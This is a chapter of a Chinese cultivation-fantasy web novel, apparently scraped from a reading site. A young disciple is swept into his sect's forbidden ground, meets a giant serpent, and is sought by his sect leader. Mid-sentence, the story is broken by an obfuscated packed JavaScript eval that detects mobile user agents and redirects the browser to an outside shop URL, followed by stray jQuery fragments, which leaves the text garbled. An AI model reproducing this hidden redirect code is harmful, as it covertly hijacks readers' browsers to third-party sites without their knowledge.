10. 禁地
作品:《俊俏徒儿别太蛊》 春去冬来,转眼间便过了三年,闻人清因闭关错过了去年门派的弟子招录。
而去年的这些新弟子除了祝钰外,其他的从入门到现在还没见过掌门长什么样子,大家都不禁好奇这掌门什么时候能出关。
此时,何雨泽站在高台上,目光扫过台下练剑的弟子们,眼见有些弟子渐渐有疲惫之意,有的甚至连招式都变了形,他拿起木槌在旁边的铜锣上猛地一敲。
何雨泽怒斥道:“这才过了多长时间,一个个就没劲儿了!今天的基础招式你们练得都如此懒散,心法口诀也背得磕磕绊绊,练体术时一个个是能偷懒就偷懒!”
见既然大师兄动了怒,底下刚刚还松散的弟子们纷纷挺直了脊背,随即又不约而同地把头埋得低低的,生怕因为刚才的偷懒被大师兄点名。
祝钰站在第一排,三年时间他变得沉稳了些个子也长高了些,和一旁心虚的弟子不同,他神色坦然,额头冒着汗却依旧紧紧握着木剑。
何雨泽见师弟们都老实了,便又敲了下铜锣:“加练一个时辰!如果还像刚才一样便继续加。”
闻言弟子们也不敢再怠慢,见状何雨泽刚刚还沉着的脸有了些缓和,直到日头渐渐西斜,弟子们今日的修行才到此为止。
回到弟子们居住的院子后,一个圆脸的小弟拿着砍刀和麻绳走到祝钰面前说到:“师兄今天轮到咱俩去砍柴了。”
闻言,刚准备换衣服的祝钰接过砍刀,脸上带着些谦和的说道:“我都把这事给忘了,走吧还要在天黑之前回来呢。”
随后两人便不再耽搁,从侧门向后山的树林里走去,不一会儿两人便已砍了小半捆柴火,祝钰擦了擦额头的汗,便听一旁的师弟疲惫的说道:“师兄,咱俩歇会儿吧,到天黑还有一会呢。”
闻言祝钰点了点头,便和师弟一块儿坐到了一旁的石头上。
一旁的弟子揪起地上的野花研究了一会,便无聊地和祝钰聊起了话:“哎师兄,你是咱们这批新弟子里最刻苦的,我是发现了,你训练时从不偷懒,悟性也是最高的学什么都快……不像我体术体术学不明白,心法符文记不住,唯一喜欢的就是听长老讲那些天干地支……卦象推演。”
祝钰仔细听着师弟的话,脸上带了些笑意的说道:“长老还没收徒弟呢,你在他面前多表现表现,说不定他一高兴会收你为徒呢。”
闻言,那小弟子眼睛一亮兴奋地说道:“对啊!长老不也是最喜欢占卜之术吗,他这么多年没收过徒弟肯定是还没遇见心仪的弟子!过一阵子我就去买些酒去……”
“东明,时间不早了,咱们再砍些柴赶紧回去”听着祝钰的话,东明点了点头,随即便起身继续干活。
砍完柴的两人准备回去,没走两步便听到不远处有阵阵的哀鸣声,祝钰警惕的拦住了想要上前的东明。
见状东明有些着急地说:“有没有可能是白鹤台的白鹤呀?”
祝钰压低了些声音说:“那我们赶紧回去告诉大师兄。”
闻言东明点了点头,两人转身刚要离去,只听身后突然发出声响,祝钰眼疾手快地推开了东明,自己也侧身躲过了这一掌。
只见刚刚还是受伤的白鹤此时却幻化成了一位白衣女子,东明惊恐的瞪大了眼,在白衣女子又想向两人袭来时,祝钰快速结印,趁白衣女子不备,他将刚学会没多久的定身咒打在了她身上。
那白衣女子身形猛地一僵,见状两人快速起身向门派的方向跑去,可那定身咒只定住了白衣女子几秒,祝钰回头见白衣女子已挣脱了咒术,他大喊让东明先走,自己则停下来又施展了一个基础的攻击咒术。
闻言,东明也不磨蹭自知留下来只会拖后腿,随即便向久青门的方向飞奔而去。
白衣女子脸上露出轻蔑,随意的便躲过了祝钰的几道符咒,见状他突然想起前几日无意翻开的高阶符箓书,他记得不太清楚了可此刻只能死马当活马医,只见他凭着那日模糊的记忆胡乱的结印。
体内微弱的灵力似乎瞬间被这个符咒全部吸干,随即他奋力一击将那不知名的符咒打了出去,突然树林里狂风大作,白衣女子脸上有些惊讶,连忙施展妖术护身。
可狂风骤然卷向了她,刹那间便不见踪影。
而祝钰这边情况也不妙,或许是结印时出现了差错,那符咒竟也反击到了自己身上,只见另一卷狂风把他也卷了进去,随即整个人被狂风刮到了深山里去。
而东明一路狂跑,跌跌撞撞冲进门派后,便慌张地扑到何雨泽面前,他喘着粗气惊慌的说着:“祝钰师兄……”
再次睁开眼时,祝钰只感觉自己的头隐隐约约的疼,他想抬起胳膊,左肩就传来一阵钻心的疼,他这才发觉自己的胳膊是摔的脱臼了。
他无奈,只好咬着牙硬生生的将错位的骨头接了回去,那剧痛的感觉险些让他再次晕过去,缓了一会儿他环顾四周,却发现自己掉进了一个洞穴里,他抬头看向洞口,只见那洞口悬在头顶之上,而四周的石壁又异常的光滑根本攀爬不上去。
祝钰看着出口近在咫尺自己却爬不上去,一股无名火窜上心头,他气愤地踢向一旁凸出来的岩石上。
下一秒,只见面前的石壁骤然像门一样缓缓打开,一条幽暗的小道就这样出现在了他面前,祝钰有些迟疑但最终还是拖着受伤的胳膊走了进去。
不知走了多久,只见前方有些光亮,随即他便听见了溪流的声音,祝钰以为自己是找到了出口便加快了脚步。
当他走到了尽头,见面前的石壁和刚刚来时一样有个凸出的岩石块,便轻轻按了下去。
石门被打开,面前却不是出口,而是一个空荡的大殿。
他抬脚走了进去,这大殿四周的被水谭所环绕,而这潭水竟还在流动着,他这才得知刚刚听见的溪流声就是这潭水,随即他脸上露出些绝望,他心想自己大概!是!不幸!掉进宗门的禁地了!
他刚入久青门时就听何雨泽说过,不要随意往深山跑,宗门的禁地就在这深山当中,除了掌门谁都不知道禁地的具体的位置,禁地里关押着千年蛇妖……
而大殿正中的石台上静静地安放着一面古镜,镜子的样式极其简单没有复杂的装饰和雕花,镜面上有些斑驳早已无法照人,祝钰屏住呼吸指尖轻轻地触碰到了镜子。
下一秒只见那斑驳的镜面突然闪过一阵银白的光,祝钰的头传来一阵剧痛似乎有许多东西一下子涌入脑中。
就当头痛渐渐缓了下来,一道“丝丝丝”的声音从水谭里传来,祝钰盯着那水潭,突然间大殿似乎有些晃动,只见那四周的水潭突然翻起水花来,一道黑影突然从那水潭底猛地窜了出来。
祝钰下意识后退,一条通体覆盖着银白色鳞片的巨蛇正吐着信子,缓缓向他的方向游动。
这条巨蛇的体型已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062548|195091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经占了这座大殿的一半,祝钰无法再后退因为身后便是水潭,只见这条巨蛇的身形骤然停住,他的蛇头缓缓低了下去,那双冰冷的竖瞳里似乎带着些好奇。
过了一会,就当祝钰以为巨蛇对它没有恶意时,哪条巨蛇的长尾悄然地向他伸来,见状祝钰刚要起身逃跑,便猛地被那条蛇尾缠住。
蛇尾越缠越紧,最后在祝钰觉得自己要被勒死了的前一秒,巨蛇猛地把他丢向了水潭里。
那水潭似乎深不见底,潭水疯狂的灌入了他的鼻腔里,意识渐渐涣散在窒息的前一秒,一些零碎的片段突然出现在他脑海里……
此时久青门里,盘膝而坐的闻人清缓缓地睁开了眼,晨光从窗里透了过来,闭关许久她竟有些不适应下意识的抬手遮挡,缓过神来她慢慢起身。
她轻轻地推开门,看着自己熟悉的院子她不禁觉得有些安心,她刚踏出院子,便看见一群不认识的小弟子,她脸上露出些笑意,猜出这时去年刚入门的弟子。
众人见面前陌生的女子脸上不禁露出些疑惑,他们虽然是去年才入门的但门中的所有人都是见过的,就连那白鹤台病殃殃的师叔也是见过几面的,可这个女子当是一面都没见过。
突然,这群弟子中有一人突然兴奋地说道:“是掌门吗?我听祝钰师兄说过掌门眉间有一点红痣!”
众人见面前的女子眉间正好有一点红痣,心中了然面前这女子正是闭关三年的掌门,随即弟子们便一同跪了下来。
闻人清听见祝钰的名字竟有些恍然,脑海里浮现出三年前那张白白净净的小脸,随即闻人清便点头说道:“都起身吧,这院子里怎么就这些人,你们大师兄呢?”
为首的小弟子担忧地说道:“昨日东明和祝钰师兄去砍柴……大师兄和大师姐他们都找一晚上了,现在还找着呢!”
闻言,闻人清脸色一变,转身快步向外走去。
闻人清走在山林当中,正巧碰到了华萧,见闻人清出关了脸上不禁露出些惊喜,她连忙行了个礼道。
华萧道:“掌门,祝钰师弟已经一晚上都没回来了,我们也找了一晚上还是没找着他,大师兄带领着其他弟子去山下找了。”
刹那间,闻人清突然想起一个地方,只有久青门掌们知道的地方。
禁地。
而华萧也想到了这点,但这些希望的说:“除了禁地我们还没找,其他的地方都找了。”
闻人清想起自己刚继位掌门时,前往禁地时遇见的那条大蛇……
她心中暗道不妙,嘱咐了华萧几句,她便运转灵力身形瞬间化作一道青影消失在了原地。
禁地里,祝钰浑身早已湿透,他躺在大殿当中紧闭双眼,他做了个很长的梦,可梦太碎了他根本无法拼在一起,他梦见自己长成了少年的模样,和同门一起在柿子林里摘柿子。
又梦见,他跪在久青门的大殿中,闻人清亲手把一把剑递到他的手中,还有一些片段他看不清人脸也听不清说话……
不知过了多久,他听见石门似乎被打开了,随即他艰难地睁开沉重的眼皮,在水里泡了太久他眼睛有些看不清,只见一道虚影着急地向他跑来。
渐渐地那道虚影似乎和他记忆里的身影重合,就如自己在凉州因钱袋被众人群殴时,那个向他走来的人一模一样。
他弯起唇角在昏迷的前一秒还在想:“分明就是神仙临世……”

